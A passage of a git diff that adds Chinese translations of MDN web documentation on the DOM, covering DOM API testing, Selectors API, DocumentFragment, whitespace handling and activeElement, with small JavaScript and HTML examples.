+    if (document.body) eval('document.body.'+attr+'="'+value+'"');
+    else notSupported();
+    }
+    </script>
+  </head>
+  <body>
+    <div style="margin: .5in; height: 400;">
+      <p><b><tt>text</tt>color</b></p>
+      <form>
+        <select onChange="setBodyAttr('text',
+        this.options[this.selectedIndex].value);">
+          <option value="black">black
+          <option value="darkblue">darkblue
+        </select>
+        <p><b><tt>bgColor</tt></b></p>
+        <select onChange="setBodyAttr('bgColor',
+        this.options[this.selectedIndex].value);">
+          <option value="white">white
+          <option value="lightgrey">gray
+        </select>
+        <p><b><tt>link</tt></b></p>
+        <select onChange="setBodyAttr('link',
+        this.options[this.selectedIndex].value);">
+          <option value="blue">blue
+          <option value="green">green
+        </select>  <small>
+        <a href="http://www.brownhen.com/dom_api_top.html" id="sample">
+        (sample link)</a></small><br>
+      </form>
+      <form>
+        <input type="button" value="version" onclick="ver()" />
+      </form>
+    </div>
+  </body>
+</html>
+
+
+ +

为了在单个页面内测试大量接口,比如会影响网页颜色的一系列属性,你可以创建一个类似的测试页面,里面有一个全面控制台,包含了button、textfield和其他HTML元素。下面的截图可以给你一些启发如何来组合使用这些接口。

+ +
+
图 0.1 简单的DOM测试页面
+Image:DOM_Ref_Introduction_to_the_DOM.gif
+ +

在这个例子中,下拉菜单可以动态更新DOM可以改变的网页部件,比如背景颜色(bgColor),链接的颜色(aLink),文字的颜色(text)。当然,设计你的测试页面,测试这些你看到的接口,对你学习使用DOM更有重要意义。

+ +

 

+ + + + diff --git a/files/zh-cn/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/zh-cn/web/api/document_object_model/locating_dom_elements_using_selectors/index.html new file mode 100644 index 0000000000..26246f9809 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -0,0 +1,54 @@ +--- +title: 使用选择器定位DOM元素 +slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors +tags: + - querySelector + - querySelectorAll + - 使用选择器定位DOM元素 +translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors +--- +
{{ gecko_minversion_header("1.9.1") }}
+ +

Selectors API提供了通过与一组选择器匹配来快速轻松地从DOM检索  Element节点的方法。这比以前的技术要快得多,其中有必要使用JavaScript代码中的循环来定位您需要查找的特定项目。

+ +

NodeSelector 接口

+ +

此规范向实现  DocumentDocumentFragment,  或 Element 接口的任何对象添加了两种新方法:

+ +
+
querySelector
+
返回节点子树内与之相匹配的第一个 Element 节点。如果没有匹配的节点,则返回null。
+
querySelectorAll
+
返回一个NodeList  包含节点子树内所有与之相匹配的Element节点,如果没有相匹配的,则返回一个空节点列表。
+
+ +
注意:由 querySelectorAll()返回的节点列表不是动态实时的。这和其他DOM查询方法返回动态实时节点列表不一样。
+ +

这里有更多的例子和细节:querySelector() and querySelectorAll() ,Code snippets for querySelector.

+ +

Selectors

+ +

选择器方法接受一个或多个逗号分隔的选择器来确定应该返回哪些元素。

+ +

例如,要选择文档中所有CSS的类(class)是warning或者note的段落(p)元素,可以这样写:

+ +
var special = document.querySelectorAll( "p.warning, p.note" );
+ +

也可以通过ID来查询,例如:

+ +
var el = document.querySelector( "#main, #basic, #exclamation" );
+ +

执行上面的代码后,el就包含了文档中元素的ID是main,basic或exclamation的所有元素中的第一个元素。

+ +

querySelector() and querySelectorAll() 里可以使用任何CSS选择器。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/document_object_model/preface/index.html b/files/zh-cn/web/api/document_object_model/preface/index.html new file mode 100644 index 0000000000..594150fd39 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/preface/index.html @@ -0,0 +1,51 @@ +--- +title: 前言 +slug: Web/API/Document_Object_Model/Preface +translation_of: Web/API/Document_Object_Model +--- +

{{ ApiRef() }}

+

关于此参考文档

+

本节将描述与此向导本身相关的一些内容,内容包括它是做什么的,里面的信息是如何呈现的,以及怎样在你DOM开发中如何使用这份参考文档中的示例。

+

注意,这份文档尚在开发中,并没有完整包含Gecko中所有已经移植的DOM方法及其属性,但是,文档中的每一个小节(例如,DOM文件参考)中所描述的对象是完整的。今后当某个API库的成员的信息可用时,它将会被整合到此文档中。

+

哪些人应该阅读这份指南

+

这份Gecko DOM参考文档的读者应该是一位web开发人员或者是一位对网页制作有一定了解的熟练web用户。这份文档对读者对DOM、XML、web服务或者web标准,甚至JavaScript——DOM呈现给读者的语言——的熟练度都没有要求。但是,本文档假定读者至少对HTML、标签、网页的基本结构、浏览器以及样式表是熟悉的。

+

在这里,介绍性的资料在展示的同时伴随有许多示例,并且高等级的解释对没有经验的和经验丰富的web开发者都同样有用,并且也并不仅仅针对入门开发者。然而,这是一份正在不断改进中的API参考手册。

+

什么是Gecko?

+

Mozilla,Firefox, Netscape 6以上版本,以及一些基于Mozilla的其他浏览器都有一个相同的对DOM的实现。这是因为它们使用的是相同的技术。

+

Gecko,即在上述各种浏览器中处理HTML的解析,页面的排版,文档对象模型,以及整个应用界面的渲染的软件组件,是一个快速的、兼容多种标准的渲染引擎。它移植了W3C的DOM标准以及出现在网页页面和应用界面(或者称为chrome)中的类DOM(但尚未标准化)的浏览器对象模型(即所谓window等的)。

+

尽管应用界面和页面内容在不同的浏览器里的呈现方式不一样,但是DOM期望它们统一地作为一种节点的分层结构。

+

API语法

+

API参考里的每个描述都包括语法、输入输出参数(包括返回类型),一个例子,额外的一些提示,以及指向对应参考文档的链接。

+

只读的属性只能被读取。因为它们无法被设置,所以通常以一个单独的一行语法表示。例如screen对象的只读属性availHeight使用的语法如下:

+
iAvail = window.screen.availHeight
+
+

这意味着你只能把该只读属性放在等式的右边。

+

可读/写的属性,既能被读取也能被写入:

+
msg = window.status
+window.status = msg
+
+

一般来说,描述对象的成员时,对象的格式声明通常都带有一个简单的类型描述符,例如,对所有的元素使用element,对所有的顶层文档对象使用document,对所有的表对象使用table等(详见重要的数据类型)。

+

如何使用示例

+

本参考文档中的许多示例都是完整的文档,你可以把他们复制粘贴到一个新的文件,然后在浏览器中打开它。

+

其他的例子是一些代码片段。你可以把它们加入到JavaScript的回调函数中来执行。

+

例如,这个关于window.document属性的例子能通过一个函数来测试。这里,它通过一个按钮的onclick 属性来调用。

+
<html>
+<head>
+<title>Test Page</title>
+<script type="text/javascript">
+function testWinDoc() {
+
+  var doc= window.document;
+
+  alert(doc.title);
+
+}
+</script>
+</head>
+
+<body>
+  <button onclick="testWinDoc();">test document property</button>
+</body>
+</html>
+
+

其他一些尚未完整打包的对象成员也采用与此类似的函数和页面。参见测试DOM API,可以一次对各种API的做一次“无害测试”。

diff --git a/files/zh-cn/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/zh-cn/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html new file mode 100644 index 0000000000..f808bceaef --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html @@ -0,0 +1,88 @@ +--- +title: 使用 W3C DOM Level 1 核心 +slug: Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core +--- +

W3C 的 Dom Level 1 核心是一个用于修改文档内容树的强大的对象模型。它被所有主流浏览器支持着,包括火狐浏览器和微软IE浏览器。它是网页脚本编程的强大基础。

+ +

什么是内容树?

+ +

很多HTML作者认为HTML是平面的东西 -- 一堆文字被标签包围在中间。当然还有比这个更多的内容。任何HTML文档 (或者说任何SGML文档或者 XML 文档) 是一个树状结构。 比如,以下的文档和树状结构是相似的 (虽然不是完全一致 -- 更多信息请参考 whitespace in the DOM):

+ +
<html>
+<head>
+  <title>My Document</title>
+</head>
+<body>
+  <h1>Header</h1>
+  <p>Paragraph</p>
+</body>
+</html>
+
+ +

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

+ +

当Mozilla解析文档的时候,它首先构建一个内容树然后用它来显示这个文档。

+ +

用于描述树状结构的术语通常出现在DOM Level 1的核心中。 我上面画的每一个方块都是这个树的一个节点。 节点上面的线条表示父子关系: 上面的父节点, 而位于下方的是子节点. 位于一个父节点下面的两个子节点是相邻的。 类似地,我们可以指代祖先和后代。(不过,表亲们太乱了。)

+ +

DOM Level 1 核心能让我们做什么?

+ +

W3C的DOM Level 1允许你随意改变内容树。其功能之强大足以从零构建出任何HTML文档。它允许作者在任何时候,都可以通过脚本来修改文档里的任何内容。这是网页制作者通过JavaScript动态改变DOM的最简单途径。在版本较旧的浏览器里,使用JavaScript都是通过访问全局对象 document 属性来得到文档。文档对象实现了W3C的DOM Level 1规定的文档接口

+ +

一个简单例子

+ +

假设作者改变上面文档的头部内容,并且使用两段段落取代一段段落。实现代码如下:

+ +

HTML Content

+ +
<body>
+<input type="button" value="Change this document." onclick="change()">
+<h2>Header</h2>
+<p>Paragraph</p>
+</body>
+
+ +

JavaScript Content

+ +
  function change() {
+    // document.getElementsByTagName("H2") returns a NodeList of the <h2>
+    // elements in the document, and the first is number 0:
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // the firstChild of the header is a Text node:
+    header.firstChild.data = "A dynamic document";
+    // now the header is "A dynamic document".
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // create a new Text node for the second paragraph
+    var newText = document.createTextNode("This is the second paragraph.");
+    // create a new Element to be the second paragraph
+    var newElement = document.createElement("P");
+    // put the text in the paragraph
+    newElement.appendChild(newText);
+    // and put the paragraph on the end of the document by appending it to
+    // the BODY (which is the parent of para)
+    para.parentNode.appendChild(newElement);
+  }
+ +

{{ EmbedLiveSample('A_simple_example', 800, 300) }}

+ +

可以看完整的示例代码

+ +

想学习更多?

+ +

现在您已经熟悉了DOM的基本概念,有一个文档解释了 DOM Level 1的基本方法的基本方法。这是本文的补充。

+ +

也可以查看W3C的 DOM Level 1 核心规范文档。尽管是正式的规范文档,但十分清晰易于理解。其对于网页制作者主要有用的内容是描述不同的DOM对象及其所有属性和方法。可以继续阅读我们其它关于DOM的文档

+ +
+

Original Document Information

+ + +
diff --git a/files/zh-cn/web/api/document_object_model/whitespace/index.html b/files/zh-cn/web/api/document_object_model/whitespace/index.html new file mode 100644 index 0000000000..929b77472a --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/whitespace/index.html @@ -0,0 +1,194 @@ +--- +title: DOM中的空白符 +slug: Web/API/Document_Object_Model/Whitespace +translation_of: Web/API/Document_Object_Model/Whitespace +--- +

问题说明

+ +

DOM 中的空白符会让处理节点结构时增加不少麻烦。在Mozilla 的软件中,原始文件里所有空白符都会在 DOM 中出现(不包括标签内含的空白符)。这样的处理方式有其必要之处,一方面编辑器中可迳行排列文字、二方面 CSS 里的 white-space: pre 也才能发挥作用。 如此一来就表示:

+ + + +

换句话说,下面这段 HTML 代码对应的 DOM 节点结构会如附图所示,其中“\n”代表换行符:

+ +
<!-- My document -->
+<html>
+<head>
+  <title>My Document</title>
+</head>
+<body>
+  <h1>Header</h1>
+  <p>
+    Paragraph
+  </p>
+</body>
+</html>
+
+ +

+ +

这么一来,要使用 DOM 游走于节点结构间又不想要无用的空白符时,会有点困难。

+ +

助你一臂之力

+ +

以下的 JavaScript 代码定义了许多函数,能够让你在处理 DOM 中的空白符时轻松点:

+ +
/**
+ * 以下所谓的“空白符”代表:
+ *  "\t" TAB \u0009 (制表符)
+ *  "\n" LF  \u000A (换行符)
+ *  "\r" CR  \u000D (回车符)
+ *  " "  SPC \u0020 (真正的空格符)
+ *
+ * 不包括 JavaScript 的“\s”,因为那代表如不断行字符等其他字符。
+ */
+
+
+/**
+ * 测知某节点的文字内容是否全为空白。
+ *
+ * @参数   nod  |CharacterData| 类的节点(如  |Text|、|Comment| 或 |CDATASection|)。
+ * @传回值      若 |nod| 的文字内容全为空白则传回 true,否则传回 false。
+ */
+function is_all_ws( nod )
+{
+  // Use ECMA-262 Edition 3 String and RegExp features
+  return !(/[^\t\n\r ]/.test(nod.data));
+}
+
+
+/**
+ * 测知是否该略过某节点。
+ *
+ * @参数   nod  DOM1 |Node| 对象
+ * @传回值      若 |Text| 节点内仅有空白符或为 |Comment| 节点时,传回 true,
+ *              否则传回 false。
+ */
+
+function is_ignorable( nod )
+{
+  return ( nod.nodeType == 8) || // 注释节点
+         ( (nod.nodeType == 3) && is_all_ws(nod) ); // 仅含空白符的文字节点
+}
+
+/**
+ * 此为会跳过空白符节点及注释节点的 |previousSibling| 函数
+ * ( |previousSibling| 是 DOM 节点的特性值,为该节点的前一个节点。)
+ *
+ * @参数   sib  节点。
+ * @传回值      有两种可能:
+ *               1) |sib| 的前一个“非空白、非注释”节点(由 |is_ignorable| 测知。)
+ *               2) 若该节点前无任何此类节点,则传回 null。
+ */
+function node_before( sib )
+{
+  while ((sib = sib.previousSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * 此为会跳过空白符节点及注释节点的 |nextSibling| 函数
+ *
+ * @参数   sib  节点。
+ * @传回值      有两种可能:
+ *               1) |sib| 的下一个“非空白、非注释”节点。
+ *               2) 若该节点后无任何此类节点,则传回 null。
+ */
+function node_after( sib )
+{
+  while ((sib = sib.nextSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * 此为会跳过空白符节点及注释节点的 |lastChild| 函数
+ * ( lastChild| 是 DOM 节点的特性值,为该节点之中最后一个子节点。)
+ *
+ * @参数   par  节点。
+ * @传回值      有两种可能:
+ *               1) |par| 中最后一个“非空白、非注释”节点。
+ *               2) 若该节点中无任何此类子节点,则传回 null。
+ */
+function last_child( par )
+{
+  var res=par.lastChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.previousSibling;
+  }
+  return null;
+}
+
+/**
+ * 此为会跳过空白符节点及注释节点的 |firstChild| 函数
+ *
+ * @参数   par  节点。
+ * @传回值      有两种可能:
+ *               1) |par| 中第一个“非空白、非注释”节点。
+ *               2) 若该节点中无任何此类子节点,则传回 null。
+ */
+function first_child( par )
+{
+  var res=par.firstChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.nextSibling;
+  }
+  return null;
+}
+
+/**
+ * 此为传回值不包含文字节点资料的首尾所有空白符、
+ * 并将两个以上的空白符缩减为一个的 |data| 函数。
+ *( data 是 DOM 文字节点的特性值,为该文字节点中的资料。)
+ *
+ * @参数   txt 欲传回其中资料的文字节点
+ * @传回值     文字节点的内容,其中空白符已依前述方式处理。
+ */
+function data_of( txt )
+{
+  var data = txt.data;
+  // Use ECMA-262 Edition 3 String and RegExp features
+  data = data.replace(/[\t\n\r ]+/g, " ");
+  if (data.charAt(0) == " ")
+    data = data.substring(1, data.length);
+  if (data.charAt(data.length - 1) == " ")
+    data = data.substring(0, data.length - 1);
+  return data;
+}
+
+ +

示例

+ +

下面的代码演示了上面这些工具函数的使用方法。具体操作是,遍历一个子节点全部为元素节点的元素,找到所包含的第一个节点为一个文本内容为 “This is the third paragraph” 的文本节点的那个子元素,并修改该子元素的 class 属性及其第一个文本节点的文字内容。

+ +
var cur = first_child(document.getElementById("test"));
+while (cur)
+{
+  if (data_of(cur.firstChild) == "This is the third paragraph.")
+  {
+      cur.className = "magic";
+      cur.firstChild.data = "This is the magic paragraph.";
+  }
+  cur = node_after(cur);
+}
+
+ +
+

原文资讯

+ + +
+ +

 

diff --git a/files/zh-cn/web/api/documentfragment/documentfragment/index.html b/files/zh-cn/web/api/documentfragment/documentfragment/index.html new file mode 100644 index 0000000000..9aef8b1e82 --- /dev/null +++ b/files/zh-cn/web/api/documentfragment/documentfragment/index.html @@ -0,0 +1,89 @@ +--- +title: DocumentFragment() +slug: Web/API/DocumentFragment/DocumentFragment +translation_of: Web/API/DocumentFragment/DocumentFragment +--- +

{{ApiRef("DOM")}}{{seeCompatTable}}

+ +

DocumentFragment() 构造函数返回一个新创建的 {{domxref("DocumentFragment")}} 对象。

+ +

语法

+ +
fragment = new DocumentFragment()
+ +

示例

+ +
fragment = new DocumentFragment();
+ +

标准

+ + + + + + + + + + + + + + +
标准状态注释
{{SpecName('DOM WHATWG', '#dom-documentfragment', 'DocumentFragment.DocumentFragment()')}}{{Spec2('DOM WHATWG')}}第一版定义。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support31.0{{CompatGeckoDesktop("24.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("24.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/documentfragment/index.html b/files/zh-cn/web/api/documentfragment/index.html new file mode 100644 index 0000000000..1e220d6ea3 --- /dev/null +++ b/files/zh-cn/web/api/documentfragment/index.html @@ -0,0 +1,133 @@ +--- +title: DocumentFragment +slug: Web/API/DocumentFragment +tags: + - API + - DOM + - DocumentFragment + - 参考 + - 接口 +translation_of: Web/API/DocumentFragment +--- +
{{ APIRef("DOM") }}
+ +

DocumentFragment,文档片段接口,一个没有父对象的最小文档对象。它被作为一个轻量版的 {{domxref("Document")}} 使用,就像标准的document一样,存储由节点(nodes)组成的文档结构。与document相比,最大的区别是DocumentFragment 不是真实 DOM 树的一部分,它的变化不会触发 DOM 树的{{Glossary("reflow", "重新渲染")}},且不会导致性能等问题。

+ +

最常用的方法是使用文档片段作为参数(例如,任何 {{domxref("Node")}} 接口类似 {{domxref("Node.appendChild")}} 和 {{domxref("Node.insertBefore")}} 的方法),这种情况下被添加(append)或被插入(inserted)的是片段的所有子节点, 而非片段本身。因为所有的节点会被一次插入到文档中,而这个操作仅发生一个重渲染的操作,而不是每个节点分别被插入到文档中,因为后者会发生多次重渲染的操作。

+ +

该接口在 Web 组件(Web components)中也非常有用:{{HTMLElement("template")}} 元素在其 {{domxref("HTMLTemplateElement.content")}} 属性中包含了一个 DocumentFragment

+ +

可以使用{{domxref("document.createDocumentFragment")}} 方法或者构造函数来创建一个空的 DocumentFragment

+ +

属性

+ +

该接口没有特殊的属性,其属性都继承自 {{domxref("Node")}} ,并补充了 {{domxref("ParentNode")}} 接口中的属性。

+ +
+
{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}
+
返回一个实时(live) {{domxref("HTMLCollection")}} ,包含所有属于 DocumentFragment 的{{domxref("Element","元素")}}类型的子对象。
+
{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
返回 DocumentFragment 的第一个 {{domxref("Element")}} 类型的子对象,如果没有则返回 null
+
{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
返回 DocumentFragment 的最后一个 {{domxref("Element")}} 类型的子对象,如果没有则返回 null
+
{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}
+
返回一个 unsigned long 给出 DocumentFragment 拥有的子项数量。
+
+ +

构造函数

+ +
+
{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}
+
返回一个空的 DocumentFragment 对象。
+
+ +

方法

+ +

该接口继承 {{domxref("Node")}} 的全部方法,并实现了 {{domxref("ParentNode")}} 接口中的方法。

+ +
+
{{domxref("DocumentFragment.querySelector()")}}
+
返回在DocumentFragment中以文档顺序排列的第一个符合指定选择器的Element节点。
+
{{domxref("DocumentFragment.querySelectorAll()")}}
+
返回在DocumentFragment中所有的符合指定选择器的Element节点组成的NodeList数组。
+
{{domxref("DocumentFragment.getElementById()")}}
+
返回在DocumentFragment中以文档顺序排列的第一个符合指定ID选择器的Element节点。与Document.getElementById()作用相同。
+
+ +

例子

+ +

HTML

+ +
<ul id="list"></ul>
+
+ +

JavaScript

+ +
const list = document.querySelector('#list');
+const fruits = ['Apple', 'Orange', 'Banana', 'Melon'];
+
+const fragment = document.createDocumentFragment();
+
+fruits.forEach(fruit => {
+  const li = document.createElement('li');
+  li.innerHTML = fruit;
+  fragment.appendChild(li);
+});
+
+list.appendChild(fragment);
+
+ +

Result

+ +

{{EmbedLiveSample('Example')}}

+ +

标准

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}{{Spec2('DOM WHATWG')}}添加了构建函数和对 {{domxref("ParentNode")}} 的实现。
{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}{{Spec2('Selectors API Level 1')}}添加 querySelector()querySelectorAll() 方法。
{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM3 Core')}}和 {{SpecName('DOM2 Core')}} 一样
{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM2 Core')}}和 {{SpecName('DOM1')}} 一样
{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM1')}}最初的定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentFragment")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/documentfragment/queryselector/index.html b/files/zh-cn/web/api/documentfragment/queryselector/index.html new file mode 100644 index 0000000000..33d38501d6 --- /dev/null +++ b/files/zh-cn/web/api/documentfragment/queryselector/index.html @@ -0,0 +1,81 @@ +--- +title: DocumentFragment.querySelector() +slug: Web/API/DocumentFragment/querySelector +translation_of: Web/API/DocumentFragment/querySelector +--- +
{{ApiRef("DOM")}}
+ +

DocumentFragment.querySelector() 方法返回第一个在 {{domxref("DocumentFragment")}} 中的、符合选择器的元素。其使用深度优先,前序遍历规则遍历文档中的节点。如果没有匹配结果,返回 null 。

+ +

如果选择器中指定了 ID 而这个 ID 在当前文档(document)被错误地使用了多次,则返回第一个匹配的元素。

+ +

如果选择器无效,将抛出一个带有 SYNTAX_ERR 值的 {{domxref("DOMException")}} 异常。

+ +

语法

+ +
element = documentfragment.querySelector(selectors);
+ +

参数

+ +
+
selectors
+
为一个 {{domxref("DOMString")}} ,其包含一个或多个CSS选择器,多个选择器用逗号隔开。
+
+ +

例子

+ +

基本示例

+ +

在该示例中,将返回第一个位于 {{domxref("DocumentFragment")}} 的带有 "myclass" 类的元素。

+ +
var el = documentfragment.querySelector(".myclass");
+
+ +

CSS 语法和方法的参数问题

+ +

传递给 querySelector 的字符串参数遵循 CSS 语法。如果 ID 或选择器不符合 CSS 语法(比如使用了半角分号和空格),必须使用双反斜杠对字符做转义。

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+document.querySelector('#foo\bar')    // 啥也不匹配
+document.querySelector('#foo\\\\bar') // 第一个DIV
+document.querySelector('#foo:bar')     // 啥也不匹配
+document.querySelector('#foo\\:bar')   // 第二个DIV
+</script>
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
标准状态注释
{{SpecName('Selectors API Level 2', '#queryselector', 'DocumentFragment.querySelector')}}{{Spec2('Selectors API Level 2')}}无修改,与 {{SpecName('Selectors API Level 1')}} 相同
{{SpecName('Selectors API Level 1', '#queryselector', 'DocumentFragment.querySelector')}}{{Spec2('Selectors API Level 1')}}最初的定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentFragment.querySelector")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/documentfragment/queryselectorall/index.html b/files/zh-cn/web/api/documentfragment/queryselectorall/index.html new file mode 100644 index 0000000000..d90c170022 --- /dev/null +++ b/files/zh-cn/web/api/documentfragment/queryselectorall/index.html @@ -0,0 +1,61 @@ +--- +title: DocumentFragment.querySelectorAll() +slug: Web/API/DocumentFragment/querySelectorAll +translation_of: Web/API/DocumentFragment/querySelectorAll +--- +
{{ApiRef("DOM")}}
+ +

DocumentFragment.queryselectorall()方法返回{{domxref("NodeList")}}中的元素{{domxref("DocumentFragment")}}(使用文档节点的深度优先顺序遍历)匹配指定的选择器组。

+ +

如果参数中指定的选择器无效,则会引发一个带SYNTAX_ERR值的{{domxref("DOMException")}}。

+ +
+

注意:这个API的定义被移动到{{domxref("ParentNode")}}接口。

+
+ +

语法

+ +
elementList = documentframgment.querySelectorAll(selectors);
+ +

参数

+ +
+
selectors
+
是一个{{domxref("DOMString")}}包含一个或多个用逗号分隔的CSS选择器。
+
+ +

示例

+ +

此示例返回DocumentFragment中所有div元素的列表,其中包含一个类“note”或“alert”:

+ +
var matches = documentfrag.querySelectorAll("div.note, div.alert");
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selectors API Level 1', '#queryselector', 'DocumentFragment.querySelectorAll')}}{{Spec2('Selectors API Level 1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentFragment.querySelectorAll")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/documentorshadowroot/activeelement/index.html b/files/zh-cn/web/api/documentorshadowroot/activeelement/index.html new file mode 100644 index 0000000000..90b67fbf5c --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/activeelement/index.html @@ -0,0 +1,86 @@ +--- +title: DocumentOrShadowRoot.activeElement +slug: Web/API/DocumentOrShadowRoot/activeElement +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +
{{APIRef("Shadow DOM")}}
+ +

{{domxref("Document")}} 和 {{domxref("ShadowRoot")}} 接口的 activeElement 只读属性,用来返回当前在DOM或者shadow DOM树中处于聚焦状态的{{domxref("Element")}}。

+ +

通常情况下,如果 {{domxref("HTMLInputElement")}} 或者 {{domxref("HTMLTextAreaElement")}}元素中有文字被选中时, activeElement属性就会返回该元素 。这时,你可以调用该元素的{{domxref("Document.selectionStart", "selectionStart")}} 和 {{domxref("Document.selectionEnd", "selectionEnd")}} 属性获取更多选中文字的信息. 其他情况下,焦点元素也可能是{{HTMLElement("select")}}元素 (menu) 或者一个别的 {{HTMLElement("input")}} 元素, 比如 "button", "checkbox", 或者 "radio".

+ +

通常用户可以使用tab键来切换页面中的焦点元素获得焦点, 使用空格键使元素active (比如按下一个按钮或者 切换一个 radio). 具体哪些元素可以获得焦点与系统和浏览器的设置有关。比如, 在 macOS 系统上, 不是text input元素默认情况下是不能获得焦点的。

+ +
+

Note: Focus (可收到input事件的元素) 和 selection (目前页面被高亮的部分)不是一回事. 你可以通过 {{domxref("window.getSelection()")}}获取当前用户选择的文本.

+
+ +

Syntax

+ +
element = DocumentOrShadowRoot.activeElement
+ +

Value

+ +

当前获得焦点的 {{domxref('Element')}} ,如果没有焦点元素,会返回 {{HTMLElement("body")}} 或者 null 。

+ +

Example

+ +

HTML

+ +
<p>Select some text from one of the text areas below:</p>
+
+<form>
+  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">This is Text Area One. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea>
+  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">This is Text Area Two. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea>
+</form>
+
+<p>Active element ID: <b id="output-element"></b></p>
+<p>Selected text: <b id="output-text"></b></p>
+ +

JavaScript

+ +
function onMouseUp(e) {
+  const activeTextarea = document.activeElement;
+  const selection = activeTextarea.value.substring(
+    activeTextarea.selectionStart, activeTextarea.selectionEnd
+  );
+
+  const outputElement = document.getElementById('output-element');
+  const outputText = document.getElementById('output-text');
+  outputElement.innerHTML = activeTextarea.id;
+  outputText.innerHTML = selection;
+}
+
+const textarea1 = document.getElementById('ta-example-one');
+const textarea2 = document.getElementById('ta-example-two');
+textarea1.addEventListener('mouseup', onMouseUp, false);
+textarea2.addEventListener('mouseup', onMouseUp, false);
+ +

Result

+ +

{{ EmbedLiveSample('Example', '400', '400') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.activeElement")}}

+
diff --git a/files/zh-cn/web/api/documentorshadowroot/elementfrompoint/index.html b/files/zh-cn/web/api/documentorshadowroot/elementfrompoint/index.html new file mode 100644 index 0000000000..e7e96436dc --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/elementfrompoint/index.html @@ -0,0 +1,85 @@ +--- +title: DocumentOrShadowRoot.elementFromPoint() +slug: Web/API/DocumentOrShadowRoot/elementFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +--- +

{{APIRef("Shadow DOM")}}{{SeeCompatTable}}

+ +

{{domxref("DocumentOrShadowRoot")}} 接口的 elementFromPoint() 方法返回给定坐标点下最上层的 {{domxref('element')}} 元素。 

+ +

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the subdocument's parent element is returned (the iframe itself). If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

+ +

如果指定的坐标点在文档的可视范围外,或者两个坐标都是负数,那么结果返回 null

+ +

If you need to find the specific position inside the element, use {{domxref("Document.caretPositionFromPoint()")}}.

+ +

Syntax

+ +
var element = document.elementFromPoint(x, y);
+ +

Parameters

+ +
+
x
+
坐标点的横坐标。
+
y
+
坐标点的纵坐标。
+
+ +

Returns

+ +

在给定的坐标点处的顶端 {{domxref("Element")}}(译者注:如果元素层叠的话,返回最上层的元素)。

+ +

Example

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
